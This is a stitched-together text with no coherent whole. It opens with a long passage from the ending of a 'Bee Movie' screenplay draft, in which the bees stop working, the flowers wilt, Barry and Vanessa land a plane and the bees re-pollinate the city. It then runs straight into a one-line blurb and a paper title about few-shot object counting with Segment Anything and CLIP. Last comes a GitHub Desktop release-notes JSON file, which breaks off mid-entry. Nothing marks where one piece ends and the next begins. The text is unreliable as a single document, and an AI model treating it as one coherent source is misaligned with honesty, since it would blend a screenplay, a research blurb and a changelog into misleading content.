stream out the exit. CUT TO: INT. J-GATE - CONTINUOUS Lou Loduca gives orders to the pollen jocks. LOU LODUCA We’re shutting down honey production. Mission abort. CUT TO: EXT. CENTRAL PARK Jackson receives the orders, mid-pollination. JACKSON Aborting pollination and nectar detail. Returning to base. CUT TO: EXT. NEW HIVE CITY ANGLE ON: Bees, putting sun-tan lotion on their noses and antennae, and sunning themselves on the balconies of the gyms. CUT TO: EXT. CENTRAL PARK ANGLE ON: THE FLOWERS starting to DROOP. CUT TO: INT. J-GATE J-Gate is deserted. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 99. EXT. NEW HIVE CITY ANGLE ON: Bees sunning themselves. A TIMER DINGS, and they all turn over. CUT TO: EXT. CENTRAL PARK TIME LAPSE of Central Park turning brown. CUT TO: EXT. VANESSA’S FLORIST SHOP CLOSE-UP SHOT: Vanessa writes “Sorry. No more flowers.” on a “Closed” sign, an turns it facing out. CUT TO: SEQ. 3700 - “IDLE HIVE” EXT. NEW HIVE CITY - DAY Barry flies at high speed. TRACKING SHOT into the hive, through the lobby of Honex, and into Adam’s office. CUT TO: INT. ADAM’S OFFICE - CONTINUOUS Barry meets Adam in his office. Adam’s office is in disarray. There are papers everywhere. He’s filling up his cardboard hexagon box. BARRY (out of breath) Adam, you wouldn’t believe how much honey was out there. ADAM Oh yeah? BARRY What’s going on around here? Where is everybody? Are they out celebrating? "Bee Movie" - JS REVISIONS 8/13/07 100. ADAM (exiting with a cardboard box of belongings) No, they’re just home. They don’t know what to do. BARRY Hmmm. ADAM They’re laying out, they’re sleeping in. I heard your Uncle Carl was on his way to San Antonio with a cricket. BARRY At least we got our honey back. They walk through the empty factory. ADAM Yeah, but sometimes I think, so what if the humans liked our honey? Who wouldn’t? It’s the greatest thing in the world. I was excited to be a part of making it. ANGLE ON: Adam’s desk on it’s side in the hall. ADAM (CONT’D) This was my new desk. This was my new job. I wanted to do it really well. And now...and now I can’t. Adam EXITS. CUT TO: SEQ. 3900 - “WORLD WITHOUT BEES” INT. STAIRWELL Vanessa and Barry are walking up the stairs to the roof. BARRY I don’t understand why they’re not happy. We have so much now. I thought their lives would be better. "Bee Movie" - JS REVISIONS 8/13/07 101. VANESSA Hmmm. BARRY They’re doing nothing. It’s amazing, honey really changes people. VANESSA You don’t have any idea what’s going on, do you? BARRY What did you want to show me? VANESSA This. They reach the top of the stairs. Vanessa opens the door. CUT TO: EXT. VANESSA’S ROOFTOP - CONTINUOUS Barry sees Vanessa’s flower pots and small garden have all turned brown. BARRY What happened here? VANESSA That is not the half of it... Vanessa turns Barry around with her two fingers, revealing the view of Central Park, which is also all brown. BARRY Oh no. Oh my. They’re all wilting. VANESSA Doesn’t look very good, does it? BARRY No. VANESSA And who’s fault do you think that is? "Bee Movie" - JS REVISIONS 8/13/07 102. BARRY Mmmm...you know, I’m going to guess, bees. VANESSA Bees? BARRY Specifically me. I guess I didn’t think that bees not needing to make honey would affect all these other things. VANESSA And it’s not just flowers. Fruits, vegetables...they all need bees. BARRY Well, that’s our whole SAT test right there. VANESSA So, you take away the produce, that affects the entire animal kingdom. And then, of course... BARRY The human species? VANESSA (clearing throat) Ahem! BARRY Oh. So, if there’s no more pollination, it could all just go south here, couldn’t it? VANESSA And I know this is also partly my fault. Barry takes a long SIGH. BARRY How about a suicide pact? VANESSA (not sure if he’s joking) How would we do it? BARRY I’ll sting you, you step on me. "Bee Movie" - JS REVISIONS 8/13/07 103. VANESSA That just kills you twice. BARRY Right, right. VANESSA Listen Barry. Sorry but I’ve got to get going. She EXITS. BARRY (looking out over the park) Had to open my mouth and talk... (looking back) Vanessa..? Vanessa is gone. CUT TO: SEQ. 3935 - “GOING TO PASADENA” EXT. NY STREET - CONTINUOUS Vanessa gets into a cab. Barry ENTERS. BARRY Vanessa. Why are you leaving? Where are you going? VANESSA To the final Tournament of Roses parade in Pasadena. They moved it up to this weekend because all the flowers are dying. It’s the last chance I’ll ever have to see it. BARRY Vanessa, I just want to say I’m sorry. I never meant it to turn out like this. VANESSA I know. Me neither. Vanessa cab drives away. "Bee Movie" - JS REVISIONS 8/13/07 104. BARRY (chuckling to himself) Tournament of Roses. Roses can’t do sports. Wait a minute...roses. Roses? Roses!? Vanessa! Barry follows shortly after. He catches up to it, and he pounds on the window. Barry follows shortly after Vanessa’s cab. He catches up to it, and he pounds on the window. INT. TAXI - CONTINUOUS Barry motions for her to roll the window down. She does so. BARRY Roses?! VANESSA Barry? BARRY (as he flies next to the cab) Roses are flowers. VANESSA Yes, they are. BARRY Flowers, bees, pollen! VANESSA I know. That’s why this is the last parade. BARRY Maybe not. The cab starts pulling ahead of Barry. BARRY (CONT'D) (re: driver) Could you ask him to slow down? VANESSA Could you slow down? The cabs slows. Barry flies in the window, and lands in the change box, which closes on him. "Bee Movie" - JS REVISIONS 8/13/07 105. VANESSA (CONT'D) Barry! Vanessa lets him out. Barry stands on the change box, in front of the driver’s license. BARRY Okay, I made a huge mistake! This is a total disaster, and it’s all my fault! VANESSA Yes, it kind of is. BARRY I’ve ruined the planet. And, I wanted to help with your flower shop. Instead, I’ve made it worse. VANESSA Actually, it’s completely closed down. BARRY Oh, I thought maybe you were remodeling. Nonetheless, I have another idea. And it’s greater than all my previous great ideas combined. VANESSA I don’t want to hear it. Vanessa closes the change box on Barry. BARRY (opening it again) Alright, here’s what I’m thinking. They have the roses, the roses have the pollen. I know every bee, plant, and flower bud in this park. All we’ve got to do is get what they’ve got back here with what we’ve got. VANESSA Bees... BARRY Park... VANESSA Pollen... "Bee Movie" - JS REVISIONS 8/13/07 106. BARRY Flowers... VANESSA Repollination! BARRY (on luggage handle, going up) Across the nation! CUT TO: SEQ. 3950 - “ROSE PARADE” EXT. PASADENA PARADE BARRY (V.O) Alright. Tournament of Roses. Pasadena, California. They’ve got nothing but flowers, floats, and cotton candy. Security will be tight. VANESSA I have an idea. CUT TO: EXT. FLOAT STAGING AREA ANGLE ON: Barry and Vanessa approaching a HEAVILY ARMED GUARD in front of the staging area. VANESSA Vanessa Bloome, FTD. Official floral business. He leans in to look at her badge. She SNAPS IT SHUT, VANESSA (CONT’D) Oh, it’s real. HEAVILY ARMED GUARD Sorry ma’am. That’s a nice brooch, by the way. VANESSA Thank you. It was a gift. "Bee Movie" - JS REVISIONS 8/13/07 107. They ENTER the staging area. BARRY (V.O) Then, once we’re inside, we just pick the right float. VANESSA How about the Princess and the Pea? BARRY Yeah. VANESSA I can be the princess, and-- BARRY ...yes, I think-- VANESSA You could be-- BARRY I’ve-- VANESSA The pea. BARRY Got it. CUT TO: EXT. FLOAT STAGING AREA - A FEW MOMENTS LATER Barry, dressed as a PEA, flies up and hovers in front of the princess on the “Princess and the Pea” float. The float is sponsored by Inflat-a-bed and a SIGN READS: “Inflat-a-bed: If it blows, it’s ours.” BARRY Sorry I’m late. Where should I sit? PRINCESS What are you? BARRY I believe I’m the pea. PRINCESS The pea? It’s supposed to be under the mattresses. "Bee Movie" - JS REVISIONS 8/13/07 108. BARRY Not in this fairy tale, sweetheart. PRINCESS I’m going to go talk to the marshall. BARRY You do that. This whole parade is a fiasco! She EXITS. Vanessa removes the step-ladder. The princess FALLS. Barry and Vanessa take off in the float. BARRY (CONT’D) Let’s see what this baby will do. ANGLE ON: Guy with headset talking to drivers. HEADSET GUY Hey! The float ZOOMS by. A young CHILD in the stands, TIMMY, cries. CUT TO: EXT. FLOAT STAGING AREA - A FEW MOMENTS LATER ANGLE ON: Vanessa putting the princess hat on. BARRY (V.O) Then all we do is blend in with traffic, without arousing suspicion. CUT TO: EXT. THE PARADE ROUTE - CONTINUOUS The floats go flying by the crowds. Barry and Vanessa’s float CRASHES through the fence. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 109. EXT. LA FREEWAY Vanessa and Barry speed, dodging and weaving, down the freeway. BARRY (V.O) And once we’re at the airport, there’s no stopping us. CUT TO: EXT. LAX AIRPORT Barry and Vanessa pull up to the curb, in front of an TSA AGENT WITH CLIPBOARD. TSA AGENT Stop. Security. Did you and your insect pack your own float? VANESSA (O.C) Yes. TSA AGENT Has this float been in your possession the entire time? VANESSA (O.C) Since the parade...yes. ANGLE ON: Barry holding his shoes. TSA AGENT Would you remove your shoes and everything in your pockets? Can you remove your stinger, Sir? BARRY That’s part of me. TSA AGENT I know. Just having some fun. Enjoy your flight. CUT TO: EXT. RUNWAY Barry and Vanessa’s airplane TAKES OFF. "Bee Movie" - JS REVISIONS 8/13/07 110. BARRY (O.C) Then, if we’re lucky, we’ll have just enough pollen to do the job. DISSOLVE TO: SEQ. 4025 - “COCKPIT FIGHT” INT. AIRPLANE Vanessa is on the aisle. Barry is on a laptop calculating flowers, pollen, number of bees, airspeed, etc. He does a “Stomp” dance on the keyboard. BARRY Can you believe how lucky we are? We have just enough pollen to do the job. I think this is going to work, Vanessa. VANESSA It’s got to work. PILOT (V.O) Attention passengers. This is Captain Scott. I’m afraid we have a bit of bad weather in the New York area. And looks like we’re going to be experiencing a couple of hours delay. VANESSA Barry, these are cut flowers with no water. They’ll never make it. BARRY I’ve got to get up there and talk to these guys. VANESSA Be careful. Barry flies up to the cockpit door. CUT TO: INT. COCKPIT - CONTINUOUS A female flight attendant, ANGELA, is in the cockpit with the pilots. "Bee Movie" - JS REVISIONS 8/13/07 111. There’s a KNOCK at the door. BARRY (C.O) Hey, can I get some help with this Sky Mall Magazine? I’d like to order the talking inflatable travel pool filter. ANGELA (to the pilots, irritated) Excuse me. CUT TO: EXT. CABIN - CONTINUOUS Angela opens the cockpit door and looks around. She doesn’t see anybody. ANGLE ON: Barry hidden on the yellow and black “caution” stripe. As Angela looks around, Barry zips into the cockpit. CUT TO: INT. COCKPIT BARRY Excuse me, Captain. I am in a real situation here... PILOT (pulling an earphone back, to the co-pilot) What did you say, Hal? CO-PILOT I didn’t say anything. PILOT (he sees Barry) Ahhh! Bee! BARRY No, no! Don’t freak out! There’s a chance my entire species-- CO-PILOT (taking off his earphones) Ahhh! "Bee Movie" - JS REVISIONS 8/13/07 112. The pilot grabs a “DUSTBUSTER” vacuum cleaner. He aims it around trying to vacuum up Barry. The co-pilot faces camera, as the pilot tries to suck Barry up. Barry is on the other side of the co-pilot. As they dosey-do, the toupee of the co-pilot begins to come up, still attached to the front. CO-PILOT (CONT'D) What are you doing? Stop! The toupee comes off the co-pilot’s head, and sticks in the Dustbuster. Barry runs across the bald head. BARRY Wait a minute! I’m an attorney! CO-PILOT Who’s an attorney? PILOT Don’t move. The pilot uses the Dustbuster to try and mash Barry, who is hovering in front of the co-pilot’s nose, and knocks out the co-pilot who falls out of his chair, hitting the life raft release button. The life raft inflates, hitting the pilot, knocking him into a wall and out cold. Barry surveys the situation. BARRY Oh, Barry. CUT TO: INT. AIRPLANE CABIN Vanessa studies her laptop, looking serious. SFX: PA CRACKLE. BARRY (V.O) (in captain voice) Good afternoon passengers, this is your captain speaking. Would a Miss Vanessa Bloome in 24F please report to the cockpit. And please hurry! "Bee Movie" - JS REVISIONS 8/13/07 113. ANGLE ON: The aisle, and Vanessa head popping up. CUT TO: INT. COCKPIT Vanessa ENTERS. VANESSA What happened here? BARRY I tried to talk to them, but then there was a Dustbuster, a toupee, a life raft exploded...Now one’s bald, one’s in a boat, and they’re both unconscious. VANESSA Is that another bee joke? BARRY No. No one’s flying the plane. The AIR TRAFFIC CONTROLLER, BUD, speaks over the radio. BUD This is JFK control tower. Flight 356, what’s your status? Vanessa presses a button, and the intercom comes on. VANESSA This is Vanessa Bloome. I’m a florist from New York. BUD Where’s the pilot? VANESSA He’s unconscious and so is the copilot. BUD Not good. Is there anyone onboard who has flight experience? A BEAT. BARRY As a matter of fact, there is. "Bee Movie" - JS REVISIONS 8/13/07 114. BUD Who’s that? VANESSA Barry Benson. BUD From the honey trial? Oh great. BARRY Vanessa, this is nothing more than a big metal bee. It’s got giant wings, huge engines. VANESSA I can’t fly a plane. BARRY Why not? Isn’t John Travolta a pilot? VANESSA Yes? BARRY How hard could it be? VANESSA Wait a minute. Barry, we’re headed into some lightning. CUT TO: Vanessa shrugs, and takes the controls. SEQ. 4150 - “BARRY FLIES PLANE” INT. BENSON HOUSE The family is all huddled around the TV at the Benson house. ANGLE ON: TV. Bob Bumble is broadcasting. BOB BUMBLE This is Bob Bumble. We have some late-breaking news from JFK airport, where a very suspenseful scene is developing. Barry Benson, fresh off his stunning legal victory... "Bee Movie" - JS REVISIONS 8/13/07 115. Adam SPRAYS a can of HONEY-WHIP into his mouth. ADAM That’s Barry. BOB BUMBLE ...is now attempting to land a plane, loaded with people, flowers, and an incapacitated flight crew. EVERYONE Flowers?! CUT TO: INT. AIR TRAFFIC CONTROL TOWER BUD Well, we have an electrical storm in the area, and two individuals at the controls of a jumbo jet with absolutely no flight experience. JEANETTE CHUNG Just a minute, Mr. Ditchwater, there’s a honey bee on that plane. BUD Oh, I’m quite familiar with Mr. Benson’s work, and his no-account compadres. Haven’t they done enough damage already? JEANETTE CHUNG But isn’t he your only hope right now? BUD Come on, technically a bee shouldn’t be able to fly at all. CUT TO: INT. COCKPIT. Barry REACTS BUD The wings are too small, their bodies are too big-- "Bee Movie" - JS REVISIONS 8/13/07 116. BARRY (over PA) Hey, hold on a second. Haven’t we heard this million times? The surface area of the wings, and the body mass doesn’t make sense? JEANETTE CHUNG Get this on the air. CAMERAMAN You got it! CUT TO: INT. BEE TV CONTROL ROOM An engineer throws a switch. BEE ENGINEER Stand by. We’re going live. The “ON AIR” sign illuminates. CUT TO: INT. VARIOUS SHOTS OF NEW HIVE CITY The news report plays on TV. The pollen jocks are sitting around, playing paddle-ball, Wheel-o, and one of them is spinning his helmet on his finger. Buzzwell is in an office cubicle, playing computer solitaire. Barry’s family and Adam watch from their living room. Bees sitting on the street curb turn around to watch the TV. BARRY Mr. Ditchwater, the way we work may be a mystery to you, because making honey takes a lot of bees doing a lot of small jobs. But let me tell you something about a small job. If you do it really well, it makes a big difference. More than we realized. To us, to everyone. That’s why I want to get bees back to doing what we do best. "Bee Movie" - JS REVISIONS 8/13/07 117. Working together. That’s the bee way. We’re not made of Jello. We get behind a fellow. Black and yellow. CROWD OF BEES Hello! CUT TO: INT. COCKPIT Barry is giving orders to Vanessa. BARRY Left, right, down, hover. VANESSA Hover? BARRY Forget hover. VANESSA You know what? This isn’t so hard. Vanessa pretends to HONK THE HORN. VANESSA (CONT’D) Beep, beep! Beep, beep! A BOLT OF LIGHTNING HITS the plane. The plane takes a sharp dip. VANESSA (CONT’D) Barry, what happened? BARRY (noticing the control panel) Wait a minute. I think we were on autopilot that whole time. VANESSA That may have been helping me. BARRY And now we’re not! VANESSA (V.O.) (folding her arms) Well, then it turns out I cannot fly a plane. "Bee Movie" - JS REVISIONS 8/13/07 118. BARRY (CONT'D) Vanessa struggles with the yoke. CUT TO: EXT. AIRPLANE The airplane goes into a steep dive. CUT TO: SEQ. 4175 - “CRASH LANDING” INT. J-GATE An ALERT SIGN READING: “Hive Alert. We Need:” Then the SIGNAL goes from “Two Bees” “Some Bees” “Every Bee There Is” Lou Loduca gathers the pollen jocks at J-Gate. LOU LODUCA All of you, let’s get behind this fellow. Move it out! The bees follow Lou Loduca, and EXIT J-Gate. CUT TO: INT. AIRPLANE COCKPIT BARRY Our only chance is if I do what I would do, and you copy me with the wings of the plane! VANESSA You don’t have to yell. BARRY I’m not yelling. We happen to be in a lot of trouble here. VANESSA It’s very hard to concentrate with that panicky tone in your voice. BARRY It’s not a tone. I’m panicking! CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 119. EXT. JFK AIRPORT ANGLE ON: The bees arriving and massing at the airport. CUT TO: INT. COCKPIT Barry and Vanessa alternately SLAP EACH OTHER IN THE FACE. VANESSA I don’t think I can do this. BARRY Vanessa, pull yourself together. Listen to me, you have got to snap out of it! VANESSA You snap out of it! BARRY You snap out of it! VANESSA You snap out of it! BARRY You snap out of it! VANESSA You snap out of it! CUT TO: EXT. AIRPLANE A GIGANTIC SWARM OF BEES flies in to hold the plane up. CUT TO: INT. COCKPIT - CONTINUOUS BARRY You snap out of it! VANESSA You snap out of it! "Bee Movie" - JS REVISIONS 8/13/07 120. BARRY You snap-- VANESSA Hold it! BARRY (about to slap her again) Why? Come on, it’s my turn. VANESSA How is the plane flying? Barry’s antennae ring. BARRY I don’t know. (answering) Hello? CUT TO: EXT. AIRPLANE ANGLE ON: The underside of the plane. The pollen jocks have massed all around the underbelly of the plane, and are holding it up. LOU LODUCA Hey Benson, have you got any flowers for a happy occasion in there? CUT TO: INT. COCKPIT Lou, Buzz, Splitz, and Jackson come up alongside the cockpit. BARRY The pollen jocks! VANESSA They do get behind a fellow. BARRY Black and yellow. LOU LODUCA (over headset) Hello. "Bee Movie" - JS REVISIONS 8/13/07 121. Alright you two, what do you say we drop this tin can on the blacktop? VANESSA What blacktop? Where? I can’t see anything. Can you? BARRY No, nothing. It’s all cloudy. CUT TO: EXT. RUNWAY Adam SHOUTS. ADAM Come on, you’ve got to think bee, Barry. Thinking bee, thinking bee. ANGLE ON: Overhead shot of runway. The bees are in the formation of a flower. In unison they move, causing the flower to FLASH YELLOW AND BLACK. BEES (chanting) Thinking bee, thinking bee. CUT TO: INT. COCKPIT We see through the swirling mist and clouds. A GIANT SHAPE OF A FLOWER is forming in the middle of the runway. BARRY Wait a minute. I think I’m feeling something. VANESSA What? BARRY I don’t know, but it’s strong. And it’s pulling me, like a 27 million year old instinct. Bring the nose of the plane down. "Bee Movie" - JS REVISIONS 8/13/07 122. LOU LODUCA (CONT'D) EXT. RUNWAY All the bees are on the runway chanting “Thinking Bee”. CUT TO: INT. CONTROL TOWER RICK What in the world is on the tarmac? ANGLE ON: Dave OTS onto runway seeing a flower being formed by millions of bees. BUD Get some lights on that! CUT TO: EXT. RUNWAY ANGLE ON: AIRCRAFT LANDING LIGHT SCAFFOLD by the side of the runway, illuminating the bees in their flower formation. INT. COCKPIT BARRY Vanessa, aim for the flower! VANESSA Oh, okay? BARRY Cut the engines! VANESSA Cut the engines? BARRY We’re going in on bee power. Ready boys? LOU LODUCA Affirmative. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 123. INT. AIRPLANE COCKPIT BARRY Good, good, easy now. Land on that flower! Ready boys? Give me full reverse. LOU LODUCA Spin it around! The plane attempts to land on top of an “Aloha Airlines” plane with flowers painted on it. BARRY (V.O) I mean the giant black and yellow pulsating flower made of millions of bees! VANESSA Which flower? BARRY That flower! VANESSA I’m aiming at the flower! The plane goes after a FAT GUY IN A HAWAIIAN SHIRT. BARRY (V.O) That’s a fat guy in a flowered shirt! The other other flower! The big one. He snaps a photo and runs away. BARRY (CONT'D) Full forward. Ready boys? Nose down. Bring your tail up. Rotate around it. VANESSA Oh, this is insane, Barry. BARRY This is the only way I know how to fly. CUT TO: "Bee Movie" - JS REVISIONS 8/13/07 124. AIR TRAFFIC CONTROL TOWER BUD Am I koo-koo kachoo, or is this plane flying in an insect-like pattern? CUT TO: EXT. RUNWAY BARRY (V.O) Get your nose in there. Don’t be afraid of it. Smell it. Full reverse! Easy, just drop it. Be a part of it. Aim for the center! Now drop it in. Drop it in, woman! The plane HOVERS and MANEUVERS, landing in the center of the giant flower, like a bee. The FLOWERS from the cargo hold spill out onto the runway. INT. AIPLANE CABIN The passengers are motionless for a beat. PASSENGER Come on already! They hear the “ding ding”, and all jump up to grab their luggage out of the overheads. SEQ. 4225 - “RUNWAY SPEECH” EXT. RUNWAY - CONTINUOUS The INFLATABLE SLIDES pop out the side of the plane. The passengers escape. Barry and Vanessa slide down out of the cockpit. Barry and Vanessa exhale a huge breath. VANESSA Barry, we did it. You taught me how to fly. Vanessa raises her hand up for a high five. "Bee Movie" - JS REVISIONS 8/13/07 125. BARRY Yes. No high five. VANESSA Right. ADAM Barry, it worked. Did you see the giant flower? BARRY What giant flower? Where? Of course I saw the flower! That was genius, man. Genius! ADAM Thank you. BARRY But we’re not done yet. Barry flies up to the wing of the plane, and addresses the bee crowd. BARRY (CONT’D) Listen everyone. This runway is covered with the last pollen from the last flowers available anywhere on Earth. That means this is our last chance. We’re the only ones who make honey, pollinate flowers, and dress like this. If we’re going to survive as a species, this is our moment. So what do you all say? Are we going to be bees, or just Museum of Natural History key chains? BEES We’re bees! KEYCHAIN BEE Keychain! BARRY Then follow me... Except Keychain. BUZZ Hold on Barry. You’ve earned this. Buzz puts a pollen jock jacket and helmet with Barry’s name on it on Barry. "Bee Movie" - JS REVISIONS 8/13/07 126. BARRY I’m a pollen jock! (looking at the jacket. The sleeves are a little long) And it’s a perfect fit. All I’ve got to do are the sleeves. The Pollen Jocks toss Barry a gun. BARRY (CONT’D) Oh yeah! ANGLE ON: Martin and Janet Benson. JANET BENSON That’s our Barry. All the bees descend upon the flowers on the tarmac, and start collecting pollen. CUT TO: SEQ. 4250 - “RE-POLLINATION” EXT. SKIES - CONTINUOUS The squadron FLIES over the city, REPOLLINATING trees and flowers as they go. Barry breaks off from the group, towards Vanessa’s flower shop. CUT TO: EXT. VANESSA’S FLOWER SHOP - CONTINUOUS Barry REPOLLINATES Vanessa’s flowers. CUT TO: EXT. CENTRAL PARK - CONTINUOUS ANGLE ON: Timmy with a frisbee, as the bees fly by. TIMMY Mom, the bees are back! "Bee Movie" - JS REVISIONS 8/13/07 127. Central Park is completely repollinated by the bees. DISSOLVE TO: INT. HONEX - CONTINUOUS Honex is back to normal and everyone is busily working. ANGLE ON: Adam, putting his Krelman hat on. ADAM If anyone needs to make a call, now’s the time. I’ve got a feeling we’ll be working late tonight! The bees CHEER. CUT TO: SEQ. 4355 EXT: VANESSA’S FLOWER SHOP With a new sign out front. “Vanessa & Barry: Flowers, Honey, Legal Advice” DISSOLVE TO: INT: FLOWER COUNTER Vanessa doing a brisk trade with many customers. CUT TO: INT: FLOWER SHOP - CONTINUOUS Vanessa is selling flowers. In the background, there are SHELVES STOCKED WITH HONEY. VANESSA (O.C.) Don’t forget these. Have a great afternoon. Yes, can I help who’s next? Who’s next? Would you like some honey with that? It is beeapproved. SIGN ON THE BACK ROOM DOOR READS: “Barry Benson: Insects at Law”. "Bee Movie" - JS REVISIONS 8/13/07 128. Camera moves into the back room. ANGLE ON: Barry. ANGLE ON: Barry’s COW CLIENT. COW Milk, cream, cheese...it’s all me. And I don’t see a nickel. BARRY Uh huh? Uh huh? COW (breaking down) Sometimes I just feel like a piece of meat. BARRY I had no idea. VANESSA Barry? I’m sorry, have you got a moment? BARRY Would you excuse me? My mosquito associate here will be able to help you. Mooseblood ENTERS. MOOSEBLOOD Sorry I’m late. COW He’s a lawyer too? MOOSEBLOOD Ma’am, I was already a bloodsucking parasite. All I needed was * a briefcase. * ANGLE ON: Flower Counter. VANESSA (to customer) Have a great afternoon! (to Barry) Barry, I just got this huge tulip order for a wedding, and I can’t get them anywhere. "Bee Movie" - JS REVISIONS 8/13/07 129. BARRY Not a problem, Vannie. Just leave it to me. Vanessa turns back to deal with a customer. VANESSA You’re a life-saver, Barry. (to the next customer) Can I help who’s next? Who’s next? ANGLE ON: Vanessa smiling back at Barry. Barry smiles too, then snaps himself out of it. BARRY (speaks into his antennae) Alright. Scramble jocks, it’s time to fly! VANESSA Thank you, Barry! EXT. FLOWER SHOP - CONTINUOUS ANGLE ON: Ken and Andy walking down the street. KEN (noticing the new sign) Augh! What in the world? It’s that bee again! ANDY (guiding Ken protectively) Let it go, Kenny. KEN That bee is living my life! When will this nightmare end? ANDY Let it all go. They don’t break stride. ANGLE ON: Camera in front of Barry as he flies out the door and up into the sky. Pollen jocks fold in formation behind him as they zoom into the park. BARRY (to Splitz) Beautiful day to fly. "Bee Movie" - JS REVISIONS 8/13/07 130. JACKSON Sure is. BARRY Between you and me, I was dying to get out of that office. FADE OUT: "Bee Movie" - JS REVISIONS 8/13/07 131.

This method uses Segment Anything and CLIP to ground and count any object that matches a custom text prompt, without requiring any point or box annotation.

an empirical study on few-shot counting using segment anything (SAM)

{ "releases": { "2.0.4": [ "[Fixed] Refresh for Enterprise repositories did not handle API error querying branches - #7713", "[Fixed] Missing \"Discard all changes\" context menu in Changes header - #7696", "[Fixed] \"Select all\" keyboard shortcut not firing on Windows - #7759" ], "2.0.4-beta1": [ "[Fixed] Refresh for Enterprise repositories did not handle API error querying branches - #7713", "[Fixed] Missing \"Discard all changes\" context menu in Changes header - #7696", "[Fixed] \"Select all\" keyboard shortcut not firing on Windows - #7759" ], "2.0.4-beta0": [ "[Added] Extend crash reports with more information about application state for troubleshooting - #7693", "[Fixed] Crash when attempting to update pull requests with partially updated repository information - #7688", "[Fixed] Crash when loading repositories after signing in through the welcome flow - #7699" ], "2.0.3": [ "[Fixed] Crash when loading repositories after signing in through the welcome flow - #7699" ], "2.0.2": [ "[Added] Extend crash reports with more information about application state for troubleshooting - #7693" ], "2.0.1": [ "[Fixed] Crash when attempting to update pull requests with partially updated repository information - #7688" ], "2.0.0": [ "[New] You can now choose to bring your changes with you to a new branch or stash them on the current branch when switching branches - #6107", "[New] Rebase your current branch onto another branch using a guided flow - #5953", "[New] Repositories grouped by owner, and recent repositories listed at top - #6923 #7132", "[New] Suggested next steps now includes suggestion to create a pull request after publishing a branch - #7505", "[Added] .resx syntax highlighting - #7235. Thanks @say25!", "[Added] \"Exit\" menu item now has accelerator and access key - #6507. Thanks @AndreiMaga!", "[Added] Help menu entry to view documentation about keyboard shortcuts - #7184", "[Added] \"Discard all changes\" action under Branch menu - #7394. Thanks @ahuth!", "[Fixed] \"Esc\" key does not close Repository or Branch list - #7177. Thanks @roottool!", "[Fixed] Attempting to revert commits not on current branch results in an error - #6300. Thanks @msftrncs!", "[Fixed] Emoji rendering in app when account name has special characters - #6909", "[Fixed] Files staged outside Desktop for deletion are incorrectly marked as modified after committing - #4133", "[Fixed] Horizontal scroll bar appears unnecessarily when switching branches - #7212", "[Fixed] Icon accessibility labels fail when multiple icons are visible at the same time - #7174", "[Fixed] Incorrectly encoding URLs affects issue filtering - #7506", "[Fixed] License templates do not end with newline character - #6999", "[Fixed] Conflicts banners do not hide after aborting operation outside Desktop - #7046", "[Fixed] Missing tooltips for change indicators in the sidebar - #7174", "[Fixed] Mistaken classification of all crashes being related to launch - #7126", "[Fixed] Unable to switch keyboard layout and retain keyboard focus while using commit form - #6366. Thanks @AndreiMaga!", "[Fixed] Prevent console errors due to underlying component unmounts - #6970", "[Fixed] Menus disabled by activity in inactive repositories - #6313", "[Fixed] Race condition with Git remote lookup may cause push to incorrect remote - #6986", "[Fixed] Restore GitHub Desktop to main screen if external monitor removed - #7418 #2107. Thanks @say25!", "[Fixed] Tab Bar focus ring outlines clip into other elements - #5802. Thanks @Daniel-McCarthy!", "[Improved] \"Automatically Switch Theme\" on macOS checks theme on launch - #7116. Thanks @say25!", "[Improved] \"Add\" button in repository list should always be visible - #6646", "[Improved] Pull Requests list loads and updates pull requests from GitHub more quickly - #7501 #7163", "[Improved] Indicator hidden in Pull Requests list when there are no open pull requests - #7258", "[Improved] Manually refresh pull requests instead of having to wait for a fetch - #7027", "[Improved] Accessibility attributes for dialog - #6496. Thanks @HirdayGupta!", "[Improved] Alignment of icons in repository list - #7133", "[Improved] Command line interface warning when using \"github open\" with a remote URL - #7452. Thanks @msztech!", "[Improved] Error message when unable to publish private repository to an organization - #7472", "[Improved] Initiate cloning by pressing \"Enter\" when a repository is selected - #6570. Thanks @Daniel-McCarthy!", "[Improved] Lowercase pronoun in \"Revert this commit\" menu item - #7534", "[Improved] Styles for manual resolution button in \"Resolve Conflicts\" dialog - #7302", "[Improved] Onboarding language for blank slate components - #6638. Thanks @jamesgeorge007!", "[Improved] Explanation for manually conflicted text files in diff viewer - #7611", "[Improved] Visual progress on \"Remove Repository\" and \"Discard Changes\" dialogs - #7015. Thanks @HashimotoYT!", "[Improved] Menu items now aware of force push state and preference to confirm repository removal - #4976 #7138", "[Removed] Branch and pull request filter text persistence - #7437", "[Removed] \"Discard all changes\" context menu item from Changes list - #7394. Thanks @ahuth!" ], "1.7.1-beta1": [ "[Fixed] Tab Bar focus ring outlines clip into other elements - #5802. Thanks @Daniel-McCarthy!", "[Improved] Show explanation for manually conflicted text files in diff viewer - #7611", "[Improved] Alignment of entries in repository list - #7133" ], "1.7.0-beta9": [ "[Fixed] Add warning when renaming a branch with a stash - #7283", "[Fixed] Restore Desktop to main screen when external monitor removed - #7418 #2107. Thanks @say25!", "[Improved] Performance for bringing uncommitted changes to another branch - #7474" ], "1.7.0-beta8": [ "[Added] Accelerator and access key to \"Exit\" menu item - #6507. Thanks @AndreiMaga!", "[Fixed] Pressing \"Shift\" + \"Alt\" in Commit summary moves input-focus to app menu - #6366. Thanks @AndreiMaga!", "[Fixed] Incorrectly encoding URLs affects issue filtering - #7506", "[Improved] Command line interface warns with helpful message when given a remote URL - #7452. Thanks @msztech!", "[Improved] Lowercase pronoun in \"Revert this commit\" menu item - #7534", "[Improved] \"Pull Requests\" list reflects pull requests from GitHub more quickly - #7501", "[Removed] Branch and pull request filter text persistence - #7437" ], "1.7.0-beta7": [ "[Improved] Error message when unable to publish private repository to an organization - #7472", "[Improved] \"Stashed changes\" button accessibility improvements - #7274", "[Improved] Performance improvements for bringing changes to another branch - #7471", "[Improved] Performance improvements for detecting conflicts from a restored stash - #7476" ], "1.7.0-beta6": [ "[Fixed] Stash viewer does not disable restore button when changes present - #7409", "[Fixed] Stash viewer does not center \"no content\" text - #7299", "[Fixed] Stash viewer pane width not remembered between sessions - #7416", "[Fixed] \"Esc\" key does not close Repository or Branch list - #7177. Thanks @roottool!", "[Fixed] Stash not cleaned up when it conflicts with working directory contents - #7383", "[Improved] Branch names remain accurate in dialog when stashing and switching branches - #7402", "[Improved] Moved \"Discard all changes\" to Branch menu to prevent unintentionally discarding all changes - #7394. Thanks @ahuth!", "[Improved] UI responsiveness when using keyboard to choose branch in 